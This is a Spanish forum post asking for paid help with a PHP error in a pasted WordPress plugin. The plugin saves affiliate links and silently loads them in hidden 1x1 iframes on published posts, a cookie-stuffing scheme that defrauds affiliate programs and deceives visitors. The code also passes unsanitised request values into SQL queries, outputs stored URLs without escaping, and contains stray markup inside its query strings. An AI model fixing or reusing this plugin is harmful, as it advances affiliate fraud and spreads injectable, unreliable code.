El error es el siguiente
"Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /home/domain/public_html/wp-content/plugins/aaa/aaa.php on line 129"
La linea 129 dice asi
while($row = mysql_fetch_assoc($result)){
El codigo completo del plugin es este (solo es un PHP)
Código:
Espero su ayuda, puedo dar un incentivo a quien me ayuda a solventarlo <?php /* Plugin Name: Name Description: Name Version:2.0 Author: Name Author URI: URL */ register_activation_hook(__FILE__,'cdb2'); function cdb2 () { global $wpdb; $table_name = $wpdb->prefix . "cookieposts"; if($wpdb->get_var("show tables like '$table_name'") != $table_name) { $sql = "CREATE TABLE " . $table_name . " ( id mediumint(9) NOT NULL AUTO_INCREMENT, postid text NOT NULL, url text NOT NULL, UNIQUE KEY id (id) );"; require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta($sql); } } add_action('admin_menu', 'caddpage'); function caddpage(){ add_options_page('options-general.php','Name','administrator','enterhoplink','cdisplay'); } function cdisplay() { echo "<h2>Name</h2><br>"; global $wpdb; $conn = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); mysql_select_db(DB_NAME, $conn) or trigger_error('MySQL error: '.mysql_error(), E_USER_ERROR); if (isset($_POST['url'])) { $table_name = $wpdb->prefix . "cookieposts"; $post = $_POST['select']; $url = $_POST['url']; $wpdb->insert( $table_name, array( 'postid' => $post, 'url' => $url ), array( '%d', '%s' ) ); } echo '<form id="form2" name="form2" method="post" action=""> <table> <tr> <label>Enlace de Afiliado: <input style= "width:400px" input type="text" name="url" /> </label> </tr> <tr></tr> <label> </table> <select name="select">'; mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); mysql_select_db(DB_NAME); $table_name5 = $wpdb->prefix . "posts"; $sql8 = "SELECT <code>ID</code> , <code>post_title</code> FROM $table_name5 WHERE <code>post_status</code> = 'publish' "; $result2 = mysql_query($sql8) or trigger_error(mysql_error()); while($row = mysql_fetch_assoc($result2)){ echo '<option name="page" page="'.$row['ID'].'" value="'.$row['ID'].'">'.$row['post_title'].'</option>'; } echo '</select> <input type="submit" name="Submit" value="Incrustar ID" /> </label> </form>'; $conn = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); mysql_select_db(DB_NAME, $conn) or trigger_error('MySQL error: '.mysql_error(), E_USER_ERROR); if (isset($_POST['row'])) { $row = mysql_real_escape_string($_POST['row']); $delete = mysql_query(" delete from wp_cookieposts where id = '{$row}' limit 1 "); } $query = "SELECT wc.id, wc.postid, wc.url, wp.post_title FROM wp_cookieposts wc, wp_posts wp WHERE wp.ID = wc.postid"; $result = mysql_query($query) or trigger_error(mysql_error()); while($row = mysql_fetch_assoc($result)){ echo '<form id="form1" method="post" action=""><input type="hidden" name="page" value="enterhoplink" />'; echo '<table width="608" border="1"> <tr> <td width="66" rowspan="2"><label> <input name="row" type="hidden" value="'.$row['id'].'" /> <input type="submit" name="Submit" value="Delete Entry" /> </label></td> <td width="526">'.$row['url'].'</td> </tr> <tr> <td>'.$row['post_title'].'</td> </tr></table>'; echo '</form>'; } //print_r ($_POST); if (isset($_POST['submit'])){ global $wpdb; $url=$_POST['url']; $inputs = $_POST['input']; $outputs = array(); $i = 1; foreach($inputs as $input) { $outputs[$i] = explode(",",$input); //$outputs[$i] = array_unique($outputs[$i]); $i++; } $b=0; $i=1; $table_name = $wpdb->prefix . "cookieposts"; $wpdb->query("TRUNCATE $table_name"); $urls = $_POST['urls']; //$urls = array_unique($urls); while($i <= count($outputs)){ //echo "ran"; $j=0; while($j!=count($outputs[$i])){ $wpdb->insert( $table_name, array( 'postid' => $outputs[$i][$j], 'url' => $urls[$b] ), array( '%s','%s' ) ); $j++; } $i++; $b++; } //$wpdb->insert( $table_name, array( 'url' => $url ), array( '%s' ) ); $i=0; crefresh(); } } function crefresh(){ echo '<meta http-equiv="refresh" content="2">'; } add_filter( "the_content", "cframes" ); function cframes($content){ global $wpdb; $id = get_the_ID(); //by default mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); mysql_select_db(DB_NAME); $query = "SELECT * FROM <code>wp_cookieposts</code> WHERE <code>postid</code> = '$id' "; $result = mysql_query($query) or trigger_error(mysql_error()); while($row = mysql_fetch_assoc($result)){ echo '<iframe src="'.$row['url'].'" WIDTH=1 HEIGHT=1 FRAMEBORDER=1 style="display:none"></iframe>'; } //$content=$id.$content; $table_name = $wpdb->prefix . "cookieposts"; $mylink90 = $wpdb->get_var("SELECT COUNT(*) FROM $table_name WHERE postid = $id"); $numberoffields=$mylink90; if($numberoffields==NULL){ $numberoffields=0; } //echo $numberoffields; $i=0; while($i!=$numberoffields){ //echo "ran"; $mylink = $wpdb->get_row("SELECT * FROM $table_name WHERE postid = $id",ARRAY_N,$i); //print_r ($mylink); $content = '<IFRAME NAME= '.$i.' SRC= '.$mylink[2].' WIDTH=1 HEIGHT=1 FRAMEBORDER=1 style="display:none"></IFRAME>'.$content; $i++; } return $content; } ?>